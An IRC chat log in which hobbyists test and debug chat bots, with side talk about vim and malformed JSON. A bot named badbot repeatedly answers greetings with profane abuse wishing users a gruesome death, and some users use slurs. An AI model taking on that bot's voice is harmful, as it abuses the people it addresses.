[2014-11-28T14:52:21-0500] <alokpathy> fuck you, goodbot 
[2014-11-28T14:52:21-0500] <goodbot> Watch your mouth, alokpathy, or I'll tell your mother!
[2014-11-28T14:52:28-0500] <+hardmath123> goodbot: who are you?
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[2014-11-28T14:52:34-0500] <@awe> h
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[2014-11-28T14:52:46-0500] <@awe> This uhh...
[2014-11-28T14:52:47-0500] <@awe> what?
[2014-11-28T14:52:49-0500] <@awe> OH.
[2014-11-28T14:52:51-0500] <alokpathy> Is awebot being shy?
[2014-11-28T14:52:55-0500] <Hcnsh> no
[2014-11-28T14:52:57-0500] <Hcnsh> it's being retarded
[2014-11-28T14:52:59-0500] <+hardmath123> .g gooooogle
[2014-11-28T14:52:59-0500] <goodbot> hardmath123: http://www.google.com/?TB_iframe=true&height=450&width=800
[2014-11-28T14:52:59-0500] <badbot> hei, goodbot
[2014-11-28T14:53:01-0500] <@awe> It must be related to the other plugins being compiled with an old version?
[2014-11-28T14:53:13-0500] <alokpathy> hei
[2014-11-28T14:53:13-0500] <badbot> fuck you, alokpathy, i hope you die a gruesome death in a hole you asshole
[2014-11-28T14:53:18-0500] <alokpathy> :|
[2014-11-28T14:53:27-0500] <alokpathy> That was
[2014-11-28T14:53:29-0500] <alokpathy> not expected.
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[2014-11-28T14:53:49-0500] <@awe> h
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[2014-11-28T14:53:58-0500] <alokpathy> hei
[2014-11-28T14:53:58-0500] <badbot> hei, alokpathy
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[2014-11-28T14:54:03-0500] <@awe> h
[2014-11-28T14:54:05-0500] <alokpathy> ...
[2014-11-28T14:54:08-0500] <alokpathy> these mood swings
[2014-11-28T14:54:09-0500] <@awe> Okay.
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[2014-11-28T14:54:17-0500] <alokpathy> hei
[2014-11-28T14:54:17-0500] <badbot> hei, alokpathy
[2014-11-28T14:54:19-0500] <alokpathy> hei
[2014-11-28T14:54:19-0500] <badbot> hei, alokpathy
[2014-11-28T14:54:20-0500] <alokpathy> hei
[2014-11-28T14:54:20-0500] <badbot> hei, alokpathy
[2014-11-28T14:54:21-0500] <Hcnsh> silly awe's doing: if (nick=="awe") send("QUIT\r\n")
[2014-11-28T14:54:29-0500] <alokpathy> Clearly.
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[2014-11-28T14:54:49-0500] <@awe> h
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[2014-11-28T14:54:56-0500] <Hcnsh> sup
[2014-11-28T14:55:03-0500] <@awe> Hmm, okay, so it's definitely something in libtell.
[2014-11-28T14:55:04-0500] <alokpathy> hei
[2014-11-28T14:55:04-0500] <badbot> hei, alokpathy
[2014-11-28T14:55:06-0500] <alokpathy> hei
[2014-11-28T14:55:06-0500] <badbot> hei, alokpathy
[2014-11-28T14:55:18-0500] <alokpathy> Hcnsh: badbot has strange mood swings
[2014-11-28T14:55:21-0500] <alokpathy> hei
[2014-11-28T14:55:21-0500] <badbot> hei, alokpathy
[2014-11-28T14:55:33-0500] <alokpathy> 2:53 PM <alokpathy> hei
[2014-11-28T14:55:33-0500] <alokpathy> 2:53 PM <badbot> fuck you, alokpathy, i hope you die a gruesome death in a hole you asshole
[2014-11-28T14:55:33-0500] <badbot> fuck you, alokpathy, i hope you die a gruesome death in a hole you asshole
[2014-11-28T14:55:37-0500] <alokpathy> wow
[2014-11-28T14:55:39-0500] <alokpathy> hei
[2014-11-28T14:55:39-0500] <badbot> hei, alokpathy
[2014-11-28T14:55:42-0500] <alokpathy> hei hei hei hei
[2014-11-28T14:55:42-0500] <badbot> hei, alokpathy
[2014-11-28T14:55:47-0500] <alokpathy> hei badbot 
[2014-11-28T14:55:47-0500] <badbot> hei, alokpathy
[2014-11-28T14:55:51-0500] <alokpathy> hei goodbot 
[2014-11-28T14:55:51-0500] <badbot> fuck you, alokpathy, i hope you die a gruesome death in a hole you asshole
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[2014-11-28T14:56:03-0500] <@awe> h
[2014-11-28T14:56:05-0500] <alokpathy> .g asdf
[2014-11-28T14:56:05-0500] <goodbot> alokpathy: http://www.youtube.com/watch?v=05BipfPpUsA
[2014-11-28T14:56:17-0500] <alokpathy> .y asdf
[2014-11-28T14:56:18-0500] <@awe> hm
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[2014-11-28T14:56:21-0500] <@awe> Okay.
[2014-11-28T14:56:24-0500] <@awe> So, it's the loading that's the issue.
[2014-11-28T14:56:25-0500] <alokpathy> .help
[2014-11-28T14:56:25-0500] <badbot> Install Gentoo.
[2014-11-28T14:56:25-0500] <goodbot> alokpathy: Say .help <command> (for example .help c) to get help for a command, or .commands for a list of commands.
[2014-11-28T14:56:25-0500] <badbot> Install Gentoo.
[2014-11-28T14:56:35-0500] <alokpathy> .help c
[2014-11-28T14:56:35-0500] <badbot> Install Gentoo.
[2014-11-28T14:56:35-0500] <goodbot> alokpathy: Evaluate some calculation.
[2014-11-28T14:56:35-0500] <goodbot> alokpathy: e.g. .c 5 / 2
[2014-11-28T14:56:42-0500] <alokpathy> .c 1 / 0
[2014-11-28T14:56:42-0500] <goodbot> alokpathy: Division by zero is not supported in this universe.
[2014-11-28T14:56:49-0500] <alokpathy> .c 0 / 1
[2014-11-28T14:56:49-0500] <goodbot> alokpathy: 0
[2014-11-28T14:56:52-0500] <alokpathy> .c 0 ^ 0
[2014-11-28T14:56:52-0500] <goodbot> alokpathy: 1
[2014-11-28T14:56:57-0500] <alokpathy> Heh
[2014-11-28T14:57:07-0500] <alokpathy> .c 1^infinity
[2014-11-28T14:57:07-0500] <goodbot> alokpathy: <class 'willie.tools.Error'>: Ast.Node 'Name' not implemented.
[2014-11-28T14:57:11-0500] <alokpathy> wat
[2014-11-28T14:57:15-0500] <alokpathy> oh
[2014-11-28T14:57:20-0500] <alokpathy> .help q
[2014-11-28T14:57:20-0500] <badbot> Install Gentoo.
[2014-11-28T14:57:22-0500] <alokpathy> .help w
[2014-11-28T14:57:22-0500] <badbot> Install Gentoo.
[2014-11-28T14:57:22-0500] <goodbot> alokpathy: e.g. .w San Francisco
[2014-11-28T14:57:26-0500] <alokpathy> ?
[2014-11-28T14:57:29-0500] <alokpathy> .w San Francisco
[2014-11-28T14:57:30-0500] <goodbot> "San Francisco /sæn frənˈsɪskoʊ/, officially the City and County of San Francisco, is the cultural, commercial and financial center of Northern California. Also the famous birthplace of OPThe only consolidated city-county in California, San Francisco encompasses a land area of about 46.9 square miles..." - http://en.wikipedia.org/wiki/San_Francisco
[2014-11-28T14:57:34-0500] <alokpathy> oh, wiki
[2014-11-28T14:57:36-0500] <alokpathy> nifty
[2014-11-28T14:57:39-0500] <alokpathy> .help e
[2014-11-28T14:57:39-0500] <badbot> Install Gentoo.
[2014-11-28T14:57:44-0500] <alokpathy> badbot: shut it
[2014-11-28T14:57:49-0500] <alokpathy> .help r
[2014-11-28T14:57:49-0500] <badbot> Install Gentoo.
[2014-11-28T14:57:53-0500] <alokpathy> badbot: what did I say?
[2014-11-28T14:57:56-0500] <alokpathy> .help t
[2014-11-28T14:57:56-0500] <badbot> Install Gentoo.
[2014-11-28T14:57:56-0500] <goodbot> alokpathy: Returns the current time.
[2014-11-28T14:57:57-0500] <goodbot> alokpathy: e.g. .t America/New_York
[2014-11-28T14:58:00-0500] <alokpathy> .t america
[2014-11-28T14:58:00-0500] <goodbot> Could not find timezone america.
[2014-11-28T14:58:05-0500] <alokpathy> .t New York
[2014-11-28T14:58:05-0500] <goodbot> Could not find timezone New York.
[2014-11-28T14:58:11-0500] <alokpathy> .t New_York
[2014-11-28T14:58:11-0500] <goodbot> Could not find timezone New_York.
[2014-11-28T14:58:15-0500] <alokpathy> .t America/New_York
[2014-11-28T14:58:15-0500] <goodbot> Could not find timezone America/New_York.
[2014-11-28T14:58:20-0500] <alokpathy> Well then
[2014-11-28T14:58:23-0500] <alokpathy> .help y
[2014-11-28T14:58:23-0500] <badbot> Install Gentoo.
[2014-11-28T14:58:26-0500] <alokpathy> .help u
[2014-11-28T14:58:26-0500] <badbot> Install Gentoo.
[2014-11-28T14:58:26-0500] <goodbot> alokpathy: e.g. .u 203D
[2014-11-28T14:58:31-0500] <alokpathy> .u 203D
[2014-11-28T14:58:31-0500] <goodbot> U+203D INTERROBANG (‽)
[2014-11-28T14:58:37-0500] <alokpathy> Oh nice
[2014-11-28T14:58:43-0500] <alokpathy> .u AAAA
[2014-11-28T14:58:43-0500] <goodbot> U+AAAA TAI VIET LETTER LOW VO (ꪪ)
[2014-11-28T14:58:49-0500] <alokpathy> .u 41414141
[2014-11-28T14:58:49-0500] <goodbot> alokpathy: That's not a valid code point.
[2014-11-28T14:58:53-0500] <alokpathy> .u 4141
[2014-11-28T14:58:53-0500] <goodbot> U+4141 CJK UNIFIED IDEOGRAPH-4141 (䅁)
[2014-11-28T14:58:57-0500] <alokpathy> heh
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[2014-11-28T14:59:01-0500] <@awe> hm
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[2014-11-28T14:59:07-0500] <alokpathy> .help i
[2014-11-28T14:59:07-0500] <badbot> Install Gentoo.
[2014-11-28T14:59:11-0500] <alokpathy> .help o
[2014-11-28T14:59:11-0500] <badbot> Install Gentoo.
[2014-11-28T14:59:12-0500] <+hardmath123> .time America/New_York
[2014-11-28T14:59:12-0500] <goodbot> Could not find timezone America/New_York.
[2014-11-28T14:59:15-0500] <+hardmath123> .time UTC
[2014-11-28T14:59:15-0500] <goodbot> Could not find timezone UTC.
[2014-11-28T14:59:19-0500] <alokpathy> .help p
[2014-11-28T14:59:19-0500] <badbot> Install Gentoo.
[2014-11-28T14:59:22-0500] <+hardmath123> .help a
[2014-11-28T14:59:22-0500] <badbot> Install Gentoo.
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[2014-11-28T14:59:24-0500] <@awe> hm
[2014-11-28T14:59:24-0500] <+hardmath123> .help b
[2014-11-28T14:59:24-0500] <badbot> Install Gentoo.
[2014-11-28T14:59:24-0500] <alokpathy> .help s
[2014-11-28T14:59:24-0500] <badbot> Install Gentoo.
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[2014-11-28T14:59:28-0500] <alokpathy> .help d
[2014-11-28T14:59:28-0500] <badbot> Install Gentoo.
[2014-11-28T14:59:28-0500] <goodbot> alokpathy: The documentation for this command is too long; I'm sending it to you in a private message.
[2014-11-28T14:59:28-0500] <+hardmath123> .help c
[2014-11-28T14:59:28-0500] <badbot> Install Gentoo.
[2014-11-28T14:59:28-0500] <goodbot> hardmath123: Evaluate some calculation.
[2014-11-28T14:59:29-0500] <goodbot> hardmath123: e.g. .c 5 / 2
[2014-11-28T14:59:30-0500] <+hardmath123> .help d
[2014-11-28T14:59:30-0500] <badbot> Install Gentoo.
[2014-11-28T14:59:31-0500] <goodbot> hardmath123: The documentation for this command is too long; I'm sending it to you in a private message.
[2014-11-28T14:59:45-0500] <+hardmath123> .dice 10d10
[2014-11-28T14:59:45-0500] <goodbot> hardmath123: You roll 10d10: (1+1+2+3+4+5+5+7+8+10) = 46
[2014-11-28T14:59:48-0500] <+hardmath123> .dice 10d10
[2014-11-28T14:59:48-0500] <goodbot> hardmath123: You roll 10d10: (1+2+2+2+5+6+7+7+8+10) = 50
[2014-11-28T14:59:50-0500] <+hardmath123> .dice 10d100
[2014-11-28T14:59:50-0500] <goodbot> hardmath123: You roll 10d100: (61+100+69+9+13+47+48+88+59+29) = 523
[2014-11-28T14:59:57-0500] <+hardmath123> .dice 100d10
[2014-11-28T14:59:57-0500] <goodbot> hardmath123: You roll 100d10: (13x1+9x2+9x3+11x4+3x5+9x6+14x7+10x8+13x9+9x10) = 556
[2014-11-28T14:59:59-0500] <alokpathy> .help f
[2014-11-28T14:59:59-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:01-0500] <alokpathy> .help g
[2014-11-28T15:00:01-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:01-0500] <goodbot> alokpathy: Queries Google for the specified input.
[2014-11-28T15:00:01-0500] <+hardmath123> .dice 10000d10
[2014-11-28T15:00:01-0500] <goodbot> alokpathy: e.g. .g swhack
[2014-11-28T15:00:02-0500] <goodbot> hardmath123: I only have 1000 dice. =(
[2014-11-28T15:00:06-0500] <+hardmath123> .dice 1000d10
[2014-11-28T15:00:06-0500] <goodbot> hardmath123: You roll 1000d10: (103x1+94x2+122x3+97x4+107x5+110x6+92x7+91x8+87x9+97x10) = 5365
[2014-11-28T15:00:06-0500] <alokpathy> .help h
[2014-11-28T15:00:06-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:08-0500] <+hardmath123> .dice 1000d10
[2014-11-28T15:00:08-0500] <goodbot> hardmath123: You roll 1000d10: (96x1+112x2+96x3+93x4+96x5+111x6+95x7+99x8+106x9+96x10) = 5497
[2014-11-28T15:00:10-0500] <+hardmath123> this is fun
[2014-11-28T15:00:10-0500] <alokpathy> .help j
[2014-11-28T15:00:10-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:12-0500] <alokpathy> .help k
[2014-11-28T15:00:12-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:14-0500] <alokpathy> .help l
[2014-11-28T15:00:17-0500] <alokpathy> .help z
[2014-11-28T15:00:18-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:18-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:20-0500] <alokpathy> .help x
[2014-11-28T15:00:20-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:22-0500] <alokpathy> .help c
[2014-11-28T15:00:22-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:22-0500] <goodbot> alokpathy: Evaluate some calculation.
[2014-11-28T15:00:23-0500] <goodbot> alokpathy: e.g. .c 5 / 2
[2014-11-28T15:00:23-0500] <@awe> hardmath123: I was writing a dice roll command too.
[2014-11-28T15:00:24-0500] <+hardmath123> .help y
[2014-11-28T15:00:24-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:26-0500] <alokpathy> .help v
[2014-11-28T15:00:26-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:27-0500] <+hardmath123> .help z
[2014-11-28T15:00:27-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:29-0500] <alokpathy> .help b
[2014-11-28T15:00:29-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:30-0500] <+hardmath123> .help p
[2014-11-28T15:00:30-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:33-0500] <+hardmath123> .help i
[2014-11-28T15:00:33-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:34-0500] <alokpathy> .help n
[2014-11-28T15:00:34-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:36-0500] <alokpathy> .help m
[2014-11-28T15:00:36-0500] <badbot> Install Gentoo.
[2014-11-28T15:00:44-0500] <+hardmath123> .cowsay
[2014-11-28T15:00:48-0500] <+hardmath123> .cowsay hi
[2014-11-28T15:00:49-0500] <@awe> "undelivered":[{"target":"Hcnsh","sender":"awe","message":"eat a dick","time":{"sec":1417203565,"nsec":184586000}}]}
[2014-11-28T15:00:51-0500] <@awe> What's wrong with this?
[2014-11-28T15:00:57-0500] <@awe> This looks like properly formed json to me.
[2014-11-28T15:01:07-0500] <+hardmath123> you need a { in the beginning?
[2014-11-28T15:01:10-0500] <alokpathy> ^
[2014-11-28T15:01:14-0500] <@awe> I missed copying that.
[2014-11-28T15:01:19-0500] <@awe> {"undelivered":[{"target":"Hcnsh","sender":"awe","message":"eat a dick","time":{"sec":1417203565,"nsec":184586000}}]}
[2014-11-28T15:01:32-0500] <+hardmath123> is the newline part of it?
[2014-11-28T15:01:32-0500] <Hcnsh> lol
[2014-11-28T15:01:38-0500] <+hardmath123> because newlines are not valid JSON
[2014-11-28T15:01:41-0500] <+hardmath123> in strings
[2014-11-28T15:01:50-0500] <@awe> In the message?
[2014-11-28T15:01:52-0500] <Hcnsh> are you sending \r\n?
[2014-11-28T15:02:03-0500] <@awe> hardmath123: that could be it.
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[2014-11-28T15:03:19-0500] <@awe> @tell Hcnsh hi
[2014-11-28T15:03:19-0500] <awebot> I'll do it when I see them!
[2014-11-28T15:03:21-0500] <@awe> hi
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[2014-11-28T15:03:54-0500] <Hcnsh> goodbot, reload *
[2014-11-28T15:03:54-0500] <goodbot> Hcnsh: done
[2014-11-28T15:03:57-0500] <@awe> Nope, there's no \r\n in it.
[2014-11-28T15:04:23-0500] <Hcnsh> are you appending "\r\n" when you actually send it?
[2014-11-28T15:04:26-0500] <@awe> Yes.
[2014-11-28T15:04:28-0500] <Hcnsh> k
[2014-11-28T15:04:30-0500] <@awe> That's not the issue.
[2014-11-28T15:04:33-0500] <@awe> IT's not not sending the message
[2014-11-28T15:04:34-0500] <Hcnsh> .bitches
[2014-11-28T15:04:34-0500] <goodbot> IOError: [Errno 2] No such file or directory: 'bchs.txt' (file "/home/blob/.willie/modules/test.py", line 17, in bitches)
[2014-11-28T15:04:36-0500] <@awe> It's crashing.
[2014-11-28T15:04:41-0500] <@awe> fatal runtime error:  assertion failed: queue != 0
[2014-11-28T15:04:43-0500] <alokpathy> .
[2014-11-28T15:04:46-0500] <@awe> I can't find this assertion though.
[2014-11-28T15:04:55-0500] <Hcnsh> .bitches
[2014-11-28T15:04:55-0500] <goodbot> IOError: [Errno 2] No such file or directory: 'bchs.txt' (file "/home/blob/.willie/modules/test.py", line 17, in bitches)
[2014-11-28T15:05:40-0500] <Hcnsh> .bitches
[2014-11-28T15:05:40-0500] <goodbot> IOError: [Errno 2] No such file or directory: 'bchs.txt' (file "/home/blob/.willie/modules/test.py", line 17, in bitches)
[2014-11-28T15:05:44-0500] <Hcnsh> goodbot, reload *
[2014-11-28T15:05:44-0500] <goodbot> Hcnsh: done
[2014-11-28T15:05:46-0500] <Hcnsh> .bitches
[2014-11-28T15:05:46-0500] <goodbot> IOError: [Errno 2] No such file or directory: 'bchs.txt' (file "/home/blob/.willie/modules/test.py", line 17, in bitches)
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[2014-11-28T15:06:24-0500] <@awe> h
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[2014-11-28T15:07:34-0500] <@awe> h
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[2014-11-28T15:07:40-0500] <Hcnsh> .<3
[2014-11-28T15:07:40-0500] <goodbot> NameError: global name 'a' is not defined (file "/home/blob/.willie/modules/test.py", line 7, in heart)
[2014-11-28T15:08:02-0500] <Hcnsh> goodbot, reload *
[2014-11-28T15:08:02-0500] <goodbot> Hcnsh: done
[2014-11-28T15:08:07-0500] <Hcnsh> .<3
[2014-11-28T15:08:07-0500] <goodbot> <3 Hcnsh
[2014-11-28T15:08:12-0500] <Hcnsh> .bitches
[2014-11-28T15:08:12-0500] <goodbot> My bitches are: Hcnsh, Hcnsh.
[2014-11-28T15:08:26-0500] <@awe> This is so weird. .-..
[2014-11-28T15:09:03-0500] <Hcnsh> goodbot, reload *
[2014-11-28T15:09:03-0500] <goodbot> Hcnsh: done
[2014-11-28T15:09:08-0500] <Hcnsh> .bitches
[2014-11-28T15:09:08-0500] <goodbot> My bitches are: Hcnsh.
[2014-11-28T15:09:14-0500] <alokpathy> .bitches
[2014-11-28T15:09:14-0500] <goodbot> My bitches are: Hcnsh.
[2014-11-28T15:11:38-0500] <Hcnsh> goodbot, reload *
[2014-11-28T15:11:38-0500] <goodbot> Hcnsh: done
[2014-11-28T15:11:43-0500] <alokpathy> .bitches
[2014-11-28T15:11:43-0500] <goodbot> My bitches are: Hcnsh.
[2014-11-28T15:11:48-0500] <Hcnsh> .<3
[2014-11-28T15:11:48-0500] <goodbot> <3 Hcnsh
[2014-11-28T15:11:49-0500] <Hcnsh> .bitches
[2014-11-28T15:11:49-0500] <goodbot> My bitches are: Hcnsh, Hcnsh.
[2014-11-28T15:11:53-0500] <Hcnsh> .<3
[2014-11-28T15:11:53-0500] <goodbot> <3 Hcnsh
[2014-11-28T15:11:55-0500] <Hcnsh> .bitches
[2014-11-28T15:11:55-0500] <goodbot> My bitches are: Hcnsh, Hcnsh, Hcnsh.
[2014-11-28T15:11:55-0500] <alokpathy> .<3
[2014-11-28T15:11:55-0500] <goodbot> <3 alokpathy
[2014-11-28T15:11:57-0500] <+Tamini> uh
[2014-11-28T15:11:59-0500] <alokpathy> .bitches
[2014-11-28T15:11:59-0500] <goodbot> My bitches are: Hcnsh, Hcnsh, Hcnsh, alokpathy.
[2014-11-28T15:12:15-0500] <+Tamini> .<3
[2014-11-28T15:12:15-0500] <goodbot> <3 Tamini
[2014-11-28T15:12:29-0500] <Hcnsh> goodbot, reload *
[2014-11-28T15:12:29-0500] <goodbot> Hcnsh: done
[2014-11-28T15:12:32-0500] <Hcnsh> .bitches
[2014-11-28T15:12:32-0500] <goodbot> My bitches are: Hcnsh, Hcnsh, Hcnsh, alokpathy, Tamini.
[2014-11-28T15:12:53-0500] <Hcnsh> .<3
[2014-11-28T15:12:53-0500] <goodbot> <3 Hcnsh
[2014-11-28T15:12:54-0500] <Hcnsh> .bitches
[2014-11-28T15:12:54-0500] <goodbot> My bitches are: , Hcnsh.
[2014-11-28T15:12:56-0500] <Hcnsh> .<3
[2014-11-28T15:12:56-0500] <goodbot> <3 Hcnsh
[2014-11-28T15:12:57-0500] <Hcnsh> .bitches
[2014-11-28T15:12:57-0500] <goodbot> My bitches are: , Hcnsh, Hcnsh.
[2014-11-28T15:13:00-0500] <Hcnsh> wtf goodbot
[2014-11-28T15:13:42-0500] <Hcnsh> .bitches
[2014-11-28T15:13:42-0500] <goodbot> My bitches are: .
[2014-11-28T15:14:19-0500] <Hcnsh> goodbot, reload *
[2014-11-28T15:14:21-0500] <goodbot> Hcnsh: done
[2014-11-28T15:14:24-0500] <Hcnsh> .bitches
[2014-11-28T15:14:24-0500] <goodbot> My bitches are: .
[2014-11-28T15:15:29-0500] <Hcnsh> goodbot: reload *
[2014-11-28T15:15:29-0500] <goodbot> Hcnsh: done
[2014-11-28T15:15:32-0500] <Hcnsh> .bitches
[2014-11-28T15:15:32-0500] <goodbot> My bitches are: .
[2014-11-28T15:15:51-0500] <Hcnsh> goodbot: reload *
[2014-11-28T15:15:51-0500] <goodbot> Hcnsh: done
[2014-11-28T15:15:52-0500] <Hcnsh> .bitches
[2014-11-28T15:15:52-0500] <goodbot> [poop] My bitches are: .
[2014-11-28T15:16:23-0500] <Hcnsh> goodbot: reload *
[2014-11-28T15:16:23-0500] <goodbot> Hcnsh: done
[2014-11-28T15:16:25-0500] <Hcnsh> .bitches
[2014-11-28T15:16:25-0500] <goodbot> I don't have any bitches :C
[2014-11-28T15:16:29-0500] <Hcnsh> .<3
[2014-11-28T15:16:29-0500] <goodbot> <3 Hcnsh
[2014-11-28T15:16:30-0500] <Hcnsh> .bitches
[2014-11-28T15:16:36-0500] <goodbot> My bitches are:  Hcnsh.
[2014-11-28T15:16:39-0500] <Hcnsh> .<3
[2014-11-28T15:16:39-0500] <goodbot> <3 Hcnsh
[2014-11-28T15:16:41-0500] <Hcnsh> .bitches
[2014-11-28T15:16:41-0500] <goodbot> My bitches are:  Hcnsh Hcnsh.
[2014-11-28T15:16:54-0500] <+Tamini> oh its .<3 that does it
[2014-11-28T15:17:05-0500] <+hardmath123> i'm so confused
[2014-11-28T15:17:16-0500] <Hcnsh> once it actually works, it'll be clear
[2014-11-28T15:17:18-0500] <+hardmath123> @list
[2014-11-28T15:17:19-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, ent, man, puddle, plant, fireman, fire
[2014-11-28T15:17:19-0500] <alchemy> You have: tree, rain, water, evil, awe, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, steam, rust
[2014-11-28T15:17:19-0500] <alchemy> That's 35 out of 92!
[2014-11-28T15:17:25-0500] <+hardmath123> wow, alchemy is still alive
[2014-11-28T15:17:33-0500] <alokpathy> alchemy?
[2014-11-28T15:17:36-0500] <alokpathy> Hm
[2014-11-28T15:17:38-0500] <+hardmath123> that's like the longest a bot of mine has survived
[2014-11-28T15:17:55-0500] <alokpathy> Oh you renamed it?
[2014-11-28T15:17:58-0500] <+hardmath123> yeah
[2014-11-28T15:18:01-0500] <+hardmath123> *him
[2014-11-28T15:18:05-0500] <@awe> how to block unindent in vim?
[2014-11-28T15:18:06-0500] <alokpathy> XD
[2014-11-28T15:18:12-0500] <+hardmath123> <n<
[2014-11-28T15:18:15-0500] <+hardmath123> (@awe)
[2014-11-28T15:18:20-0500] <+hardmath123> so for 10 lines, <10<
[2014-11-28T15:18:27-0500] <alokpathy> @combine neanderthal steam
[2014-11-28T15:18:27-0500] <alchemy> neanderthal and steam don't make anything exciting.
[2014-11-28T15:18:31-0500] <alokpathy> @combine neanderthal awe
[2014-11-28T15:18:31-0500] <alchemy> neanderthal and awe don't make anything exciting.
[2014-11-28T15:18:35-0500] <alokpathy> @combine awe lightning
[2014-11-28T15:18:36-0500] <alchemy> awe and lightning don't make anything exciting.
[2014-11-28T15:18:36-0500] <@awe> hardmath123: wat
[2014-11-28T15:18:42-0500] <alokpathy> @combine awe puddle
[2014-11-28T15:18:42-0500] <alchemy> awe and puddle don't make anything exciting.
[2014-11-28T15:18:45-0500] <alokpathy> @combine awe snowmam
[2014-11-28T15:18:45-0500] <alchemy> You don't have snowmam!
[2014-11-28T15:18:46-0500] <alokpathy> @combine awe snowman
[2014-11-28T15:18:47-0500] <alchemy> awe and snowman don't make anything exciting.
[2014-11-28T15:18:52-0500] <alokpathy> @combine awe energy
[2014-11-28T15:18:52-0500] <alchemy> awe and energy don't make anything exciting.
[2014-11-28T15:18:55-0500] <@LittleBobbyTables> @combine evil awe
[2014-11-28T15:18:55-0500] <alchemy> evil and awe don't make anything exciting.
[2014-11-28T15:18:58-0500] <alokpathy> @combine awe light
[2014-11-28T15:18:58-0500] <alchemy> awe and light don't make anything exciting.
[2014-11-28T15:19:03-0500] <alokpathy> @combine awe wind
[2014-11-28T15:19:04-0500] <alchemy> awe and wind don't make anything exciting.
[2014-11-28T15:19:08-0500] <alokpathy> @combine awe sentience
[2014-11-28T15:19:08-0500] <alchemy> awe and sentience don't make anything exciting.
[2014-11-28T15:19:14-0500] <alokpathy> @combine awe ent
[2014-11-28T15:19:14-0500] <alchemy> awe and ent don't make anything exciting.
[2014-11-28T15:19:16-0500] <alokpathy> @combine awe man
[2014-11-28T15:19:16-0500] <alchemy> awe and man don't make anything exciting.
[2014-11-28T15:19:19-0500] <alokpathy> @combine awe fir
[2014-11-28T15:19:19-0500] <alchemy> You don't have fir!
[2014-11-28T15:19:21-0500] <+hardmath123> awe: type << to undent one line
[2014-11-28T15:19:22-0500] <alokpathy> @combine awe fire
[2014-11-28T15:19:23-0500] <alchemy> awe and fire don't make anything exciting.
[2014-11-28T15:19:27-0500] <+hardmath123> awe: type <2< to undent 2 lines
[2014-11-28T15:19:36-0500] <@awe> Which two lines?
[2014-11-28T15:19:48-0500] <+hardmath123> the current line, and the line under the current line
[2014-11-28T15:19:50-0500] <@awe> Okay.
[2014-11-28T15:19:57-0500] <@awe> So, it's starting with the line you're at and the number of lines following it.
[2014-11-28T15:19:59-0500] <@awe> That's annoying though.
[2014-11-28T15:20:05-0500] <@awe> I'd rather just highlight a block and do <<
[2014-11-28T15:20:08-0500] <@awe> or something.
[2014-11-28T15:20:41-0500] <Hcnsh> goodbot, reload *
[2014-11-28T15:20:41-0500] <goodbot> Hcnsh: done
[2014-11-28T15:20:53-0500] <+hardmath123> awe: but that's not the cli way
[2014-11-28T15:21:10-0500] <+hardmath123> awe: you can also do <:n to undent to a line number
[2014-11-28T15:21:12-0500] <+hardmath123> which is really useful
[2014-11-28T15:21:14-0500] <@awe> hardmath123: requiring me to pay attention to line numbers like that is annoying.
[2014-11-28T15:21:22-0500] <@awe> <:n is less annoying.
[2014-11-28T15:21:25-0500] <+hardmath123> or <G to undent till the end of file
[2014-11-28T15:21:52-0500] <Hcnsh> you can highlight blocks
[2014-11-28T15:21:54-0500] <+hardmath123> Or <% for the current {} block
[2014-11-28T15:22:01-0500] <+hardmath123> actually, no promises about that last one
[2014-11-28T15:22:13-0500] <Hcnsh> awe: shift-v
[2014-11-28T15:22:23-0500] <Hcnsh> or just v
[2014-11-28T15:22:41-0500] <Hcnsh> (slightly diff)
[2014-11-28T15:23:01-0500] <+hardmath123> oh, alchemy died
[2014-11-28T15:23:03-0500] <@awe> Just highlighting it and > and < works.
[2014-11-28T15:23:16-0500] • hardmath123: afk
[2014-11-28T15:23:32-0500] <Hcnsh> @combine poop fire
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[2014-11-28T15:24:44-0500] Pidgey sets mode +v alokpathy
[2014-11-28T15:24:55-0500] <failedxyz> hi
[2014-11-28T15:24:58-0500] <Hcnsh> hi
[2014-11-28T15:25:52-0500] <@awe> You're kidding me.
[2014-11-28T15:26:33-0500] <@awe> This exact code works fine when in a singular binary, but breaks when used dynamically.
[2014-11-28T15:26:50-0500] <Hcnsh> goodbot, reload *
[2014-11-28T15:26:50-0500] <goodbot> Hcnsh: done
[2014-11-28T15:26:55-0500] <Hcnsh> goodbot, greet failedxyz
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[2014-11-28T15:27:04-0500] <@awe> ?
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[2014-11-28T15:27:08-0500] <failedxyz> hi goodbot
[2014-11-28T15:27:08-0500] <goodbot> Hello failedxyz
[2014-11-28T15:27:10-0500] <failedxyz> hei
[2014-11-28T15:27:10-0500] <badbot> hei, failedxyz
[2014-11-28T15:27:14-0500] <failedxyz> hi
[2014-11-28T15:27:24-0500] <Hcnsh> goodbot, reload *
[2014-11-28T15:27:24-0500] <goodbot> Hcnsh: done
[2014-11-28T15:27:26-0500] <Hcnsh> goodbot, greet failedxyz
[2014-11-28T15:27:26-0500] <goodbot> Hi, failedxyz
[2014-11-28T15:28:06-0500] <@awe> .
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[2014-11-28T15:28:09-0500] <@awe> .
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[2014-11-28T15:28:31-0500] <@awe> ?
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[2014-11-28T15:29:09-0500] <failedxyz> .
[2014-11-28T15:29:15-0500] <Hcnsh> goodbot, reload *
[2014-11-28T15:29:15-0500] <failedxyz> hei
[2014-11-28T15:29:15-0500] <badbot> fuck you, failedxyz, i hope you die a gruesome death in a hole you asshole
[2014-11-28T15:29:15-0500] <goodbot> Hcnsh: done
[2014-11-28T15:29:20-0500] <Hcnsh> goodbot, greet failedxyz
